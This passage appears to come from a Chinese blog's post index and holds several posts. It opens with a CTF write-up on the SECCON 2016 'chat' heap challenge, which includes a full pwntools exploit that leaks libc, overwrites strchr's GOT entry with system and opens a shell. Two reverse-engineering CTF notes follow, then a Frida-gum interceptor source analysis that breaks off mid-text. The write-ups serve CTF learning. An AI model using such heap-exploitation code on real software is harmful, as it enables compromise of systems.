"User '%s' already exists\\n", a1); result = 0LL; } else { ptr = malloc(0x18uLL); v2 = hash(a1); if ( v2 >= 0 ) { *ptr = strdup(a1); ptr[1] = 0LL; ptr[2] = user_tbl[v2]; user_tbl[v2] = ptr; result = 1LL; } else { free(ptr); fwrite("Signup failed...\\n", 1uLL, 0x11uLL, stderr); result = 0xFFFFFFFFLL; } } return result;}\n\n\n        特别的是,name通过strdup开辟(该函数会为字符串自动开辟合适大小空间然后进行拷贝)\n        如果名字只有16个字符之内,strdup只开辟0x20大小空间,但名字能有32个字符,如果使用名字长达30,该函数就会开辟0x30大小的字符\n        但如果其开辟了0x20,而用户通过改名来改为更长的字符就能实现堆溢出(0x20中只有0x10用于储存字符,而0x30中则有0x20储存内容)\n        堆溢出在此处可以用于复写下一个chunk的size,构成heap overflow\n        以及,在注销用户时也会按顺序先释放name再释放user,申请的时候会先申请user再申请name,我们的目的是让某个被注销的name重新被申请为某个user,这样在get_tweet时候得到的name指针即为新用户的name字段内容,该字段能通过change_name任意写地址\n        至此,利用UAF泄露libc基址\n        接下来是如何让程序执行 system(“/bin/sh”)\n        基本思路是通过复写某个函数,让程序在调用时执行system\n        其中目的函数为 strchr,原因如下:\nint getint(){ int result; // eax char nptr[136]; // [rsp+0h] [rbp-A0h] BYREF unsigned __int64 v2; // [rsp+88h] [rbp-18h] v2 = __readfsqword(0x28u); memset(nptr, 0, 0x80uLL); if ( getnline(nptr, 128LL) ) result = atoi(nptr); else result = 0; return result;}\n\n\nsize_t __fastcall getnline(char *a1, int a2){ char *v3; // [rsp+18h] [rbp-8h] fgets(a1, a2, stdin); v3 = strchr(a1, 10); if ( v3 ) *v3 = 0; return strlen(a1);}\n\n\n        main函数中通过getint函数来获取参数,倘若输入“/bin/sh”,则在getnline中执行 \n \n        strchr("/bin/sh",10)\n\n\n         替换之后就会变成\n        system("/bin/sh")\n\n\n        不过有些需要注意:\n.got.plt:0000000000603018 off_603018 dq offset free ; DATA XREF: _free↑r.got.plt:0000000000603020 off_603020 dq offset strlen ; DATA XREF: _strlen↑r.got.plt:0000000000603028 off_603028 dq offset __stack_chk_fail.got.plt:0000000000603028 ; DATA XREF: ___stack_chk_fail↑r.got.plt:0000000000603030 off_603030 dq offset setbuf ; DATA XREF: _setbuf↑r.got.plt:0000000000603038 off_603038 dq offset strchr ; DATA XREF: _strchr↑r.got.plt:0000000000603040 off_603040 dq offset __libc_start_main.got.plt:0000000000603040 ; DATA XREF: ___libc_start_main↑r.got.plt:0000000000603048 off_603048 dq offset fgets ; DATA XREF: _fgets↑r.got.plt:0000000000603050 off_603050 dq offset strcmp ; DATA XREF: _strcmp↑r.got.plt:0000000000603058 off_603058 dq offset fprintf ; DATA XREF: _fprintf↑r.got.plt:0000000000603060 off_603060 dq offset __gmon_start__.got.plt:0000000000603060 ; DATA XREF: ___gmon_start__↑r.got.plt:0000000000603068 off_603068 dq offset tolower ; DATA XREF: _tolower↑r.got.plt:0000000000603070 off_603070 dq offset malloc ; DATA XREF: _malloc↑r.got.plt:0000000000603078 off_603078 dq offset isprint ; DATA XREF: _isprint↑r.got.plt:0000000000603080 off_603080 dq offset atoi ; DATA XREF: _atoi↑r.got.plt:0000000000603088 off_603088 dq offset fwrite ; DATA XREF: _fwrite↑r.got.plt:0000000000603090 off_603090 dq offset strdup ; DATA XREF: _strdup↑r\n\n\n        本例中笔者通过 got表中的__libc_start_main 来泄露基址,但其他函数又是否可行呢?如下为got表对应的内容:\ngdb-peda$ tel 0x0000000000603018 160000 0x603018 --> 0x7f974f791540 (<__GI___libc_free>:push r13)0008 0x603020 --> 0x7f974f7987a0 (<strlen>:pxor xmm0,xmm0)0016 0x603028 --> 0x4007f6 (<__stack_chk_fail@plt+6>:push 0x2)0024 0x603030 --> 0x7f974f7836c0 (<setbuf>:mov edx,0x2000)0032 0x603038 --> 0x7f974f796b30 (<__strchr_sse2>:movd xmm1,esi)0040 0x603040 --> 0x7f974f72d750 (<__libc_start_main>:push r14)0048 0x603048 --> 0x7f974f77aae0 (<_IO_fgets>:test esi,esi)0056 0x603050 --> 0x7f974f7ac5f0 (<__strcmp_sse2_unaligned>:mov eax,edi)0064 0x603058 --> 0x7f974f762780 (<__fprintf>:sub rsp,0xd8)0072 0x603060 --> 0x400866 (<__gmon_start__@plt+6>:push 0x9)0080 0x603068 --> 0x7f974f73ae70 (<tolower>:lea edx,[rdi+0x80])0088 0x603070 --> 0x7f974f791180 (<__GI___libc_malloc>:push rbp)0096 0x603078 --> 0x7f974f73add0 (<isprint>:mov rax,QWORD PTR [rip+0x396041] # 0x7f974fad0e18)0104 0x603080 --> 0x7f974f743e90 (<atoi>:sub rsp,0x8)0112 0x603088 --> 0x7f974f77b6f0 (<__GI__IO_fwrite>:push r14)0120 0x603090 --> 0x7f974f7984f0 (<__GI___strdup>:push rbp)\n\n\n        如下函数为change_name时的检查:\n__int64 __fastcall hash(char *a1){ int v2; // [rsp+1Ch] [rbp-4h] if ( !a1 ) return 0xFFFFFFFFLL; v2 = tolower(*a1); if ( !isprint(v2) ) return 0xFFFFFFFFLL; if ( v2 > 96 && v2 <= 122 ) return (v2 - 96); return 0LL;}\n\n\n        在change_name时若没能通过该检查(第一个字符可打印),则会注销用户\n        如果我们替换__GI___libc_malloc函数地址,替换之前先进入hash函数进行检测,而0x7f974f791180 最后一个字符0x80为不可打印字符,则会因为free(got)导致程序crash,其他函数也是同理\n        而反观__libc_start_main函数地址0x7f974f72d750 ,最后一个字符为0x50,为可打印字符,因此才能正常通过检测,并成功leak\n        最后则需要伪造chunk来复写strchr的地址,笔者的exp完成leak之后,bins的情况如下\nfastbins0x30: 0x17730a0 ◂— 0x0unsortedbinall: 0x1773060 —▸ 0x7f3718172b78 (main_arena+88) ◂— 0x1773060smallbins0xa0: 0x1773170 —▸ 0x7f3718172c08 (main_arena+232) ◂— 0x1773170\n\n\n         0x1773060与用户malusr的user空间比较近,这块区域实则就是因为先前的remove_user而留下的,通过修改该内存块的size位即可完成heap overflow,然后通过post_tweet的方式构造payload,将0x60302a覆盖到user中的name指针处,使得该name指向0x60302a处,接下来就只需要通过change_name即可任意写got表了\n完整EXP:#coding=utf-8from pwn import *import sysreload(sys)sys.setdefaultencoding('utf8')context.log_level='debug'def signup(name):p.sendlineafter('>','1')p.sendlineafter('>',name)def signin(name):p.sendlineafter('>','2')p.sendlineafter('>',name)def changename(name):p.sendlineafter('>>','7')p.sendlineafter('>>',name)def tweet(msg):p.sendlineafter('>>','4')p.sendlineafter('>>',msg)def dm(user,msg):p.sendlineafter('>>','5')p.sendlineafter('>>',user)p.sendlineafter('>>',msg)def signout():p.sendlineafter('>>','0')#p=remote("node4.buuoj.cn",27256)p=process('./chat_seccon_2016')elf=ELF('./chat_seccon_2016')libc=elf.libcua="AAAA"ub='BBBB'uc='C'*30signup(ua)signup(ub)signup(uc)#gdb.attach(p)signin(ua)tweet("aaaa")signout()signin(ub)tweet("bbbb")dm(ua,'BA')dm(uc,"BC")signout()signin(uc)tweet("cccc")signout()signin(ub)changename("\\t")signin(uc)changename("\\t")gdb.attach(p)ud='d'*7signup(ud)signin(ud)for i in xrange(6,2,-1):changename('d'*i)malusr = p64(elf.got['__libc_start_main'])changename(malusr)signout()signin(ua)p.sendlineafter(">> ", "2") p.recvuntil("[")libc.address += u64(p.recv(6).ljust(8,"\\x00")) - libc.symbols['__libc_start_main']print hex(libc.address)system=libc.symbols['system']signout()signin(malusr)tweet("bins")changename("i"*24+p8(0xa1))changename(p8(0x40))tweet("7"*16+p64(0x60302a))changename("A"*6+"B"*8+p64(system))p.sendlineafter(">> ", "/bin/sh\\x00")p.interactive()\n\n\n         最后几行笔者打算做些适当的说明:\nchangename("i"*24+p8(0xa1))changename(p8(0x40))tweet("7"*16+p64(0x60302a))changename("A"*6+"B"*8+p64(system))p.sendlineafter(">> ", "/bin/sh\\x00")p.interactive()\n\n\n         第一行通过堆溢出复写chunk的size,使得然后在change_name\n        第二行则是为了绕过change_name中的检测:\nif ( user_tbl[v3] == a1 ){ user_tbl[v3] = a1[2];}else{ for ( i = user_tbl[v3]; i && *(i + 16) != a1; i = *(i + 16) ) ; if ( !i ) return 0xFFFFFFFFLL; *(i + 16) = a1[2];}\n\n\n        如果缺少该行,第4行将会因为上述检测返回“-1”导致没能正确写入 \n        经过笔者的测试,最终只要保证修改内容为“非字母”均可通过\n       其原因为:第二行的复写让当前用户user指针被放入user_tbl,而在第4行时将对user_tbl进行检测;由于我们选择了__stack_chk_fail的最后一个字节作为新chunk的size位,其值为0x40,将会获得索引“0”,如果第二行使用任意“字母”,则返回的索引均为“非零”值,在上述检测里就没办法通过第一个判断了,而在另外一个循环里更加难以通过检查,因此事先user指针放入user_tbl[0]中,然后在接下来的改名里绕过检查\n        最后就是一系列的复写了 ​\n插画ID:91814284\n","categories":["CTF题记","Note"],"tags":["CTF"]},{"title":"WUSTCTF2020-level3 笔记与自省","url":"/2021/06/21/wustctf2020level3/","content":"​\n解题过程:\n    直接放入IDA分析,跳入main函数,得到如下内容\nint __cdecl main(int argc, const char **argv, const char **envp){ char *v3; // rax char v5; // [rsp+Fh] [rbp-41h] char v6[56]; // [rsp+10h] [rbp-40h] BYREF unsigned __int64 v7; // [rsp+48h] [rbp-8h] v7 = __readfsqword(0x28u); printf("Try my base64 program?.....\\n>"); __isoc99_scanf("%20s", v6); v5 = time(0LL); srand(v5); if ( (rand() & 1) != 0 ) { v3 = base64_encode(v6); puts(v3); puts("Is there something wrong?"); } else { puts("Sorry I think it's not prepared yet...."); puts("And I get a strange string from my program which is different from the standard base64:"); puts("d2G0ZjLwHjS7DmOzZAY0X2lzX3CoZV9zdNOydO9vZl9yZXZlcnGlfD=="); puts("What's wrong??"); } return 0;}\n\n\n    显然,最底下有一串形似base64编码的字符串\nd2G0ZjLwHjS7DmOzZAY0X2lzX3CoZV9zdNOydO9vZl9yZXZlcnGlfD==\n\n\n    解码发现无法正确得到内容,猜测是映射表被更改过\n    观察发现一个明显怪异的函数:“O_OLookAtYou”\n​\n__int64 O_OLookAtYou(){ __int64 result; // rax char v1; // [rsp+1h] [rbp-5h] int i; // [rsp+2h] [rbp-4h] for ( i = 0; i <= 9; ++i ) { v1 = base64_table[i]; base64_table[i] = base64_table[19 - i]; result = 19 - i; base64_table[result] = v1; } return result;}\n\n\n    直接放入VS得到置换后结果:\nint main(){ char base64_table[] = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; for (int i = 0; i <= 9; ++i) { char v1 = base64_table[i]; base64_table[i] = base64_table[19 - i]; char result = 19 - i; base64_table[result] = v1; } cout << base64_table;//TSRQPONMLKJIHGFEDCBAUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/}\n\n\n    得到新表,直接对密文进行解密即可得到flag\n-——————————————————————————————-\n    明确一点,当main函数找不到期望的内容的时候,应该从start函数开始看\n    main函数为用户代码的入口,但在此之前应有许多函数库需要初始化,这些初始化工作则从start函数开始\n// positive sp value has been detected, the output may be wrong!void __fastcall __noreturn start(__int64 a1, __int64 a2, void (*a3)(void)){ __int64 v3; // rax int v4; // esi __int64 v5; // [rsp-8h] [rbp-8h] BYREF char *retaddr; // [rsp+0h] [rbp+0h] BYREF v4 = v5; v5 = v3; __libc_start_main(main, v4, &retaddr, _libc_csu_init, _libc_csu_fini, a3, &v5); __halt();}\n\n\n    本题中,__libc_start_main()函数调用了包括main在内的三个函数(但第三个函数进入后会发现里面什么都没有)\nvoid __fastcall _libc_csu_init(unsigned int a1, __int64 a2, __int64 a3){ signed __int64 v4; // rbp __int64 i; // rbx v4 = &_do_global_dtors_aux_fini_array_entry - _frame_dummy_init_array_entry; init_proc(); if ( v4 ) { for ( i = 0LL; i != v4; ++i ) (_frame_dummy_init_array_entry[i])(a1, a2, a3); }}\n\n\n    v4变量使用了两个标签,不妨进入去看看 \n.init_array:0000000000601E08 __frame_dummy_init_array_entry dq offset frame_dummy.init_array:0000000000601E08 ; DATA XREF: LOAD:00000000004000F8↑o.init_array:0000000000601E08 ; LOAD:0000000000400210↑o ....init_array:0000000000601E08 ; Alternative name is '__init_array_start'.init_array:0000000000601E10 dq offset O_OLookAtYou.init_array:0000000000601E10 _init_array ends.init_array:0000000000601E10.fini_array:0000000000601E18 ; ELF Termination Function Table.fini_array:0000000000601E18 ; ===========================================================================.fini_array:0000000000601E18.fini_array:0000000000601E18 ; Segment type: Pure data.fini_array:0000000000601E18 ; Segment permissions: Read/Write.fini_array:0000000000601E18 _fini_array segment qword public 'DATA' use64.fini_array:0000000000601E18 assume cs:_fini_array.fini_array:0000000000601E18 ;org 601E18h.fini_array:0000000000601E18 __do_global_dtors_aux_fini_array_entry dq offset __do_global_dtors_aux\n\n\n    0000000000601E10地址处引用了O_OLookAtYou函数的地址\n    这一系列函数通过_libc_csu_init函数中的for循环去使用\n    当然,实际上看看表有没有被更改只需要对base64_table查看其交叉引用即可\n​\n    所以最后还是自己瞎忙活一通,算是吃个瘪长个教训吧…… ​\n插画ID:89345225\n","categories":["CTF题记","Note"],"tags":["CTF"]},{"title":"Zer0pts2020 - easy strcmp 分析与加法","url":"/2021/06/23/zer0pts2020easy/","content":"​\n    无壳,放入IDA自动跳到main函数\n__int64 __fastcall main(int a1, char **a2, char **a3){ if ( a1 > 1 ) { if ( !strcmp(a2[1], "zer0pts{********CENSORED********}") ) puts("Correct!"); else puts("Wrong!"); } else { printf("Usage: %s <FLAG>\\n", *a2); } return 0LL;}\n\n\n    条件明确,要求我们输入的字符串和如下字符串相同\n\nzer0pts{********CENSORED********}\n\n     提交flag发现错误,显然没有那么容易;观察函数列表:\n​\n     从sub_610到sub_795的一系列函数笔记碍眼,不妨一个个看一下,能够发现sub_6EA有着明显的逻辑:\n__int64 __fastcall sub_6EA(__int64 a1, __int64 a2){ int i; // [rsp+18h] [rbp-8h] int v4; // [rsp+18h] [rbp-8h] int j; // [rsp+1Ch] [rbp-4h] for ( i = 0; *(_BYTE *)(i + a1); ++i ) ; v4 = (i >> 3) + 1; for ( j = 0; j < v4; ++j ) *(_QWORD *)(8 * j + a1) -= qword_201060[j]; return qword_201090(a1, a2);}\n\n\n    但当我试图用IDA查看该函数的交叉引用,会发现提示:\n\nCouldn’t find any xrefs!\n\n    那这个函数岂不是没有被用到吗?不被执行还需要分析吗?\n    可以从init函数中找到答案:\nvoid __fastcall init(unsigned int a1, __int64 a2, __int64 a3){ signed __int64 v4; // rbp __int64 i; // rbx v4 = &off_200DF0 - &funcs_889; init_proc(); if ( v4 ) { for ( i = 0LL; i != v4; ++i ) ((void (__fastcall *)(_QWORD, __int64, __int64))*(&funcs_889 + i))(a1, a2, a3); }}\n\n\n    for循环中调用了一系列的函数,而函数地址从funcs_889开始,跟入便能够发现如下内容:\n.init_array:0000000000200DE0 funcs_889 dq offset sub_6E0 ; DATA XREF: LOAD:00000000000000F8↑o.init_array:0000000000200DE0 ; LOAD:0000000000000210↑o ....init_array:0000000000200DE8 dq offset sub_795\n\n\n    分别调用了sub_6E0和sub_795两个函数;上一个倒不值得关注,进入下面的那个看看:\n// write access to const memory has been detected, the output may be wrong!int (**sub_795())(const char *s1, const char *s2){ int (**result)(const char *, const char *); // rax result = &strcmp; qword_201090 = (__int64 (__fastcall *)(_QWORD, _QWORD))&strcmp; off_201028 = sub_6EA; return result;}\n\n\n     可见,off_201028被置为sub_6EA函数地址了\n​\n     可以看到,off_2010288实际上是strcmp函数的地址,但现在它被替换成了sub_6EA\n    因此我们执行strcmp函数时实际上是执行sub_6EA函数\n__int64 __fastcall sub_6EA(__int64 a1, __int64 a2){ int i; // [rsp+18h] [rbp-8h] int v4; // [rsp+18h] [rbp-8h] int j; // [rsp+1Ch] [rbp-4h] for ( i = 0; *(_BYTE *)(i + a1); ++i ) ; v4 = (i >> 3) + 1; for ( j = 0; j < v4; ++j ) *(_QWORD *)(8 * j + a1) -= qword_201060[j]; return qword_201090(a1, a2);}\n\n\n    逻辑:将字符串每8个比特位减去一个数字\n.data:0000000000201060 qword_201060 dq 0, 410A4335494A0942h, 0B0EF2F50BE619F0h, 4F0A3A064A35282Bh\n\n\n     那么解密脚本姑且是能够写出来了\nint main(){char p[] = "zer0pts{********CENSORED********}";uint64 k[4] = { 0, 0x410A4335494A0942, 0x0B0EF2F50BE619F0, 0x4F0A3A064A35282B };for (int i = 0; i < 4; i++){*(uint64*)&(p[i*8]) += k[i];}cout << p;} \n\n\n    但是,我还是好奇这样一个字符串是如何实现大数加减法的,于是单步跟了进去\n    以 0x410A4335494A0942 为例,其二进制表达为:\n\n100 0001 0000 1010 0100 0011 0011 0101 0100 1001 0100 1010 0000 1001 0100 0010\n\n    因为Intel是小端序的,所以从后面往前读\n\n0100 0010——-> 66(十进制)\n\n    而我们的flag变换字符为:\n\n‘*‘ (42)——–>’I’ (108)\n\n    相差正好为66;因此结果也变得显然了:\n    字符串大数相加的实现为:将大数做成多个字节,将每个字节与对应的字符串字符相加(指相同字节位对齐相加,多者溢出) ​\n插图ID:90683044\n","categories":["CTF题记","Note"],"tags":["CTF"]},{"title":"Frida-gum 源代码分析解读","url":"/2023/08/28/Frida-gum-%E6%BA%90%E4%BB%A3%E7%A0%81%E5%88%86%E6%9E%90%E8%A7%A3%E8%AF%BB/","content":"前言最近做一些逆向的时候卡住了,感觉自己对 frida 的了解过于浅薄了,由于自己对安全研究的一些坏习惯,因此不读一下 frida 的源码就理解不了它的实现原理,于是直接就拿起来开始看了。(尽管现在做的不是安全研究,但希望这种习惯能延续下去吧。)\n不得不说,frida 的代码写的是真的赏心悦目,像我这样阅读代码的苦手都能大致通过语义理解原理,我只能说,非常有感觉!\n源代码目录Frida 的源代码目录结构按照模块进行区分,本文只选择其中几个笔者认为比较重要的部分进行分析:\n\nfrida-core / frida 的主要功能实现模块\nfrida-gum / 提供 inline hook 、代码跟踪、内存监控、符号查找以及其他多个上层基础设施实现\ngum-js / 为 frida-gum 提供 JavaScript 语言的接口\n\n\n\n出于完整性考虑,笔者也把其他比较重要的模块的介绍贴在这里。如有需要,读者可以自行去深入了解:\n\nfrida-python: Frida Python bindingsfrida-node: Frida Node.js bindingsfrida-qml: Frida Qml pluginfrida-swift: Frida Swift bindingsfrida-tools: Frida CLI tools\n\n本文中,笔者将按照自顶向下的方法去分析对应模块的功能实现。但本篇仅涉及到 Frida-gum部分,Frida-core将在另外一篇文章中介绍。\nfrida-gumfrida-gum 的实现结果是跨架构跨平台的,为此它抽象出了架构无关/平台无关/系统无关的 api 供用户使用。\n该模块中有几个较为关心的子模块:\n\nInterceptor: 提供 inline hook 的封装\nStalker: 用于跟踪指令\nMemoryAccessMonitor: 内存监控\n\nInterceptor我们从测试样例开始:\nTESTLIST_BEGIN (interceptor_arm64)\tTESTENTRY (attach_to_thunk_reading_lr)\tTESTENTRY (attach_to_function_reading_lr)TESTLIST_END ()\n\n样例分为了对部分代码或整体函数进行钩取两种,似乎没什么区别,不妨先从函数开始。\nTESTCASE (attach_to_function_reading_lr){  const gsize code_size_in_pages = 1;  gsize code_size;  GumEmitLrFuncContext ctx;  code_size = code_size_in_pages * gum_query_page_size ();  ctx.code = gum_alloc_n_pages (code_size_in_pages, GUM_PAGE_RW);  ctx.run = NULL;  ctx.func = NULL;  ctx.caller_lr = 0;  gum_memory_patch_code (ctx.code, code_size, gum_emit_lr_func, &ctx);  g_assert_cmphex (ctx.run (), ==, ctx.caller_lr);  interceptor_fixture_attach (fixture, 0, ctx.func, '>', '<');  g_assert_cmphex (ctx.run (), !=, ctx.caller_lr);  g_assert_cmpstr (fixture->result->str, ==, "><");  interceptor_fixture_detach (fixture, 0);  gum_free_pages (ctx.code);}\n\nfrida 从 interceptor_fixture_attach 函数开始去 hook 对应函数,向下跟进可以找到实现函数:\nstatic GumAttachReturninterceptor_fixture_try_attach (InterceptorFixture * h, guint listener_index, gpointer test_func, gchar enter_char, gchar leave_char){ GumAttachReturn result; Arm64ListenerContext * ctx; ctx = h->listener_context[listener_index]; if (ctx != NULL) { arm64_listener_context_free (ctx); h->listener_context[listener_index] = NULL; } ctx = g_slice_new0 (Arm64ListenerContext); ctx->listener = test_callback_listener_new (); ctx->listener->on_enter = (TestCallbackListenerFunc) arm64_listener_context_on_enter; ctx->listener->on_leave = (TestCallbackListenerFunc) arm64_listener_context_on_leave; ctx->listener->user_data = ctx; ctx->fixture = h; ctx->enter_char = enter_char; ctx->leave_char = leave_char; result = gum_interceptor_attach (h->interceptor, test_func, GUM_INVOCATION_LISTENER (ctx->listener), NULL); if (result == GUM_ATTACH_OK) { h->listener_context[listener_index] = ctx; } else { arm64_listener_context_free (ctx); } return result;}\n\n可以注意到,其中 on_enter 和 on_leave 是可以由用户自行重载的。然后再从 gum_interceptor_attach 进入,该函数包括了布置 hook 并启动 hook 的任务:\nGumAttachReturngum_interceptor_attach (GumInterceptor * self, gpointer function_address, GumInvocationListener * listener, gpointer listener_function_data){ GumAttachReturn result = GUM_ATTACH_OK; GumFunctionContext * function_ctx; GumInstrumentationError error; gum_interceptor_ignore_current_thread (self); GUM_INTERCEPTOR_LOCK (self); gum_interceptor_transaction_begin (&self->current_transaction); self->current_transaction.is_dirty = TRUE;//1. 获得需要钩取的函数地址 function_address = gum_interceptor_resolve (self, function_address);//2. 此处用于构造跳板、布置 hook,并将该函数抽象为一个 ctx 结构体//后续对该函数的引用都将使用 ctx 指代该函数 function_ctx = gum_interceptor_instrument (self, GUM_INTERCEPTOR_TYPE_DEFAULT, function_address, &error); if (function_ctx == NULL) goto instrumentation_error;//3. 添加监听器 if (gum_function_context_has_listener (function_ctx, listener)) goto already_attached; gum_function_context_add_listener (function_ctx, listener, listener_function_data); goto beach;instrumentation_error: { switch (error) { case GUM_INSTRUMENTATION_ERROR_WRONG_SIGNATURE: result = GUM_ATTACH_WRONG_SIGNATURE; break; case GUM_INSTRUMENTATION_ERROR_POLICY_VIOLATION: result = GUM_ATTACH_POLICY_VIOLATION; break; case GUM_INSTRUMENTATION_ERROR_WRONG_TYPE: result = GUM_ATTACH_WRONG_TYPE; break; default: g_assert_not_reached (); } goto beach; }already_attached: { result = GUM_ATTACH_ALREADY_ATTACHED; goto beach; }beach: {//4. 注入跳板 gum_interceptor_transaction_end (&self->current_transaction); GUM_INTERCEPTOR_UNLOCK (self); gum_interceptor_unignore_current_thread (self); return result; }}\n\n笔者已经在上述代码的诸事中大致描述了关键部分的代码功能,在这里需要为此做一些额外说明。\n所谓 inline hook 的工作原理是:将函数开头的指令替换为跳转指令,使得函数在执行时先跳转到 hook 到 on_entry 函数中,然后再从中返回执行原函数。\n其中,用于从函数开头跳转到 on_entry 中的指令被称之为 跳板,而构造跳板首先需要获得 hook 函数在内存中的地址。这个操作在本文中不会详细介绍,若读者有兴趣了解原理可以自行阅读代码。\n而监听器(Listener)的作用则是一个用于记录相关监视数据的结构体,对于已经被 hook 过的函数是不需要添加两个监听器的。\n接下来我们跟入 gum_interceptor_instrument :\nstatic GumFunctionContext *gum_interceptor_instrument (GumInterceptor * self, GumInterceptorType type, gpointer function_address, GumInstrumentationError * error){ GumFunctionContext * ctx; *error = GUM_INSTRUMENTATION_ERROR_NONE;//1. 获得需要 hook 的函数对象//该对象在第一次调用 gum_interceptor_instrument 进行初始化入表//此处由于第一次调用的缘故,在表里查询不到 ctx//因此会继续往下器创建该 ctx ctx = (GumFunctionContext *) g_hash_table_lookup (self->function_by_address, function_address); if (ctx != NULL) { if (ctx->type != type) { *error = GUM_INSTRUMENTATION_ERROR_WRONG_TYPE; return NULL; } return ctx; } if (self->backend == NULL) {//2. 构造三级跳板 self->backend = _gum_interceptor_backend_create (&self->mutex, &self->allocator); }//3. 初始化 ctx ctx = gum_function_context_new (self, function_address, type); if (gum_process_get_code_signing_policy () == GUM_CODE_SIGNING_REQUIRED) { if (!_gum_interceptor_backend_claim_grafted_trampoline (self->backend, ctx)) goto policy_violation; } else {//4. 构造二级跳板 if (!_gum_interceptor_backend_create_trampoline (self->backend, ctx)) goto wrong_signature; }//5. 函数入表,表示已经完成基本操作 g_hash_table_insert (self->function_by_address, function_address, ctx);//6. 添加任务,设置回调函数 gum_interceptor_activate 用于激活跳板 gum_interceptor_transaction_schedule_update (&self->current_transaction, ctx, gum_interceptor_activate); return ctx;policy_violation: { *error = GUM_INSTRUMENTATION_ERROR_POLICY_VIOLATION; goto propagate_error; }wrong_signature: { *error = GUM_INSTRUMENTATION_ERROR_WRONG_SIGNATURE; goto propagate_error; }propagate_error: { gum_function_context_finalize (ctx); return NULL; }}\n\n在注释中,笔者提到了二级跳板和三级跳板,那么一级跳板是什么?\n一级跳板其实就是函数开头的跳转指令,该指令将会让程序跳转到二级跳板中,而二级跳板会转入三级跳板,最后由三级跳板分发,选择用户提供的 on_entry 函数进行调用。\n_gum_interceptor_backend_create首先创建的是三级跳板,因此我们跟到 _gum_interceptor_backend_create 里看看它是如何实现的。该函数是平台相关的具体函数,由于笔者打算分析 arm64 下的实现,因此这里的源代码应为 frida-gum/gum/backend-arm64/guminterceptor-arm64.c:\nGumInterceptorBackend *_gum_interceptor_backend_create (GRecMutex * mutex, GumCodeAllocator * allocator){ GumInterceptorBackend * backend; backend = g_slice_new0 (GumInterceptorBackend); backend->mutex = mutex; backend->allocator = allocator; if (gum_process_get_code_signing_policy () == GUM_CODE_SIGNING_OPTIONAL) { gum_arm64_writer_init (&backend->writer, NULL); gum_arm64_relocator_init (&backend->relocator, NULL, &backend->writer); gum_interceptor_backend_create_thunks (backend); } return backend;}\n\n跟入 gum_interceptor_backend_create_thunks :\nstatic voidgum_interceptor_backend_create_thunks (GumInterceptorBackend * self){ gsize page_size, code_size; page_size = gum_query_page_size (); code_size = page_size; self->thunks = gum_memory_allocate (NULL, code_size, page_size, GUM_PAGE_RW); gum_memory_patch_code (self->thunks, 1024, (GumMemoryPatchApplyFunc) gum_emit_thunks, self);}\n\n此处通过调用 gum_memory_patch_code 把 gum_emit_thunks 的实现写入到 self->thunks 中,因此我们这里跟入 gum_emit_thunks :\nstatic voidgum_emit_thunks (gpointer mem, GumInterceptorBackend * self){ GumArm64Writer * aw = &self->writer; self->enter_thunk = self->thunks; gum_arm64_writer_reset (aw, mem); aw->pc = GUM_ADDRESS (self->enter_thunk); gum_emit_enter_thunk (aw);//1. 此处创建三级跳板 enter_thunk gum_arm64_writer_flush (aw); self->leave_thunk = (guint8 *) self->enter_thunk + gum_arm64_writer_offset (aw); gum_emit_leave_thunk (aw);//2. 此处创建三级跳板 leave_thunk gum_arm64_writer_flush (aw);}\n\n此处涉及到了具体的三级跳板的创建,分别由 gum_emit_enter_thunk 和 gum_emit_leave_thunk 完成,这里笔者先从 gum_emit_enter_thunk 进行分析:\nstatic voidgum_emit_enter_thunk (GumArm64Writer * aw){ gum_emit_prolog (aw);//1. 保存上下文信息//2. add x1,sp,0 gum_arm64_writer_put_add_reg_reg_imm (aw, ARM64_REG_X1, ARM64_REG_SP, GUM_FRAME_OFFSET_CPU_CONTEXT);//3. add x2,sp,G_STRUCT_OFFSET (GumCpuContext, lr) gum_arm64_writer_put_add_reg_reg_imm (aw, ARM64_REG_X2, ARM64_REG_SP, GUM_FRAME_OFFSET_CPU_CONTEXT + G_STRUCT_OFFSET (GumCpuContext, lr));//4. add x3,sp,sizeof (GumCpuContext) gum_arm64_writer_put_add_reg_reg_imm (aw, ARM64_REG_X3, ARM64_REG_SP, GUM_FRAME_OFFSET_NEXT_HOP);//5. call _gum_function_context_begin_invocation(x17,x1,x2,x3) gum_arm64_writer_put_call_address_with_arguments (aw, GUM_ADDRESS (_gum_function_context_begin_invocation), 4, GUM_ARG_REGISTER, ARM64_REG_X17, GUM_ARG_REGISTER, ARM64_REG_X1, GUM_ARG_REGISTER, ARM64_REG_X2, GUM_ARG_REGISTER, ARM64_REG_X3); gum_emit_epilog (aw);}\n\n此处主要负责调用四级跳板 _gum_function_context_begin_invocation 并进行传参,跟入该函数:\nvoid_gum_function_context_begin_invocation (GumFunctionContext * function_ctx, GumCpuContext * cpu_context, gpointer * caller_ret_addr, gpointer * next_hop)\n\n注意,此处第三个参数 caller_ret_addr 代表的是被 hook 函数用于储存返回地址的内存地址,而第四个参数则是四级跳板返回时执行的下一个函数地址。\n稍微向下看看函数的实现:(省略部分)\n//1. 如果替换了函数实现,或注册了 on_leave 则设置 will_trap_on_leave will_trap_on_leave = function_ctx->replacement_function != NULL || (invoke_listeners && function_ctx->has_on_leave_listener); if (will_trap_on_leave) {//2. 如果设置了 will_trap_on_leave,就需要保存原本的返回地址,这样在 on_leave 时能给正确返回 stack_entry = gum_invocation_stack_push (stack, function_ctx, *caller_ret_addr); invocation_ctx = &stack_entry->invocation_context; } else if (invoke_listeners) {//3. 如果没设置 will_trap_on_leave,但有注册 linsters,那么在这里把原本的函数地址保存到栈里 stack_entry = gum_invocation_stack_push (stack, function_ctx, function_ctx->function_address); invocation_ctx = &stack_entry->invocation_context; }\n\n这里不难理解:\n\n如果我们替换了函数实现,或者设置了 on_leave ,那么在返回以前到原本的执行流之前就需要先保存当前的返回内容,它会在后续被用于指向正确的返回地址。\n如果我们只是想钩一些调用点,那么执行流应该从这里返回到原本的函数去恢复执行。\n\n此处只是先在栈中保存数据。\n然后接下来会调用注册的 on_enter:\nif (listener_entry->listener_interface->on_enter != NULL){ listener_entry->listener_interface->on_enter ( listener_entry->listener_instance, invocation_ctx);}\n\n后续过程中:\nif (will_trap_on_leave){ *caller_ret_addr = function_ctx->on_leave_trampoline;}if (function_ctx->replacement_function != NULL){ stack_entry->calling_replacement = TRUE; stack_entry->cpu_context = *cpu_context; stack_entry->original_system_error = system_error; invocation_ctx->cpu_context = &stack_entry->cpu_context; invocation_ctx->backend = &interceptor_ctx->replacement_backend; 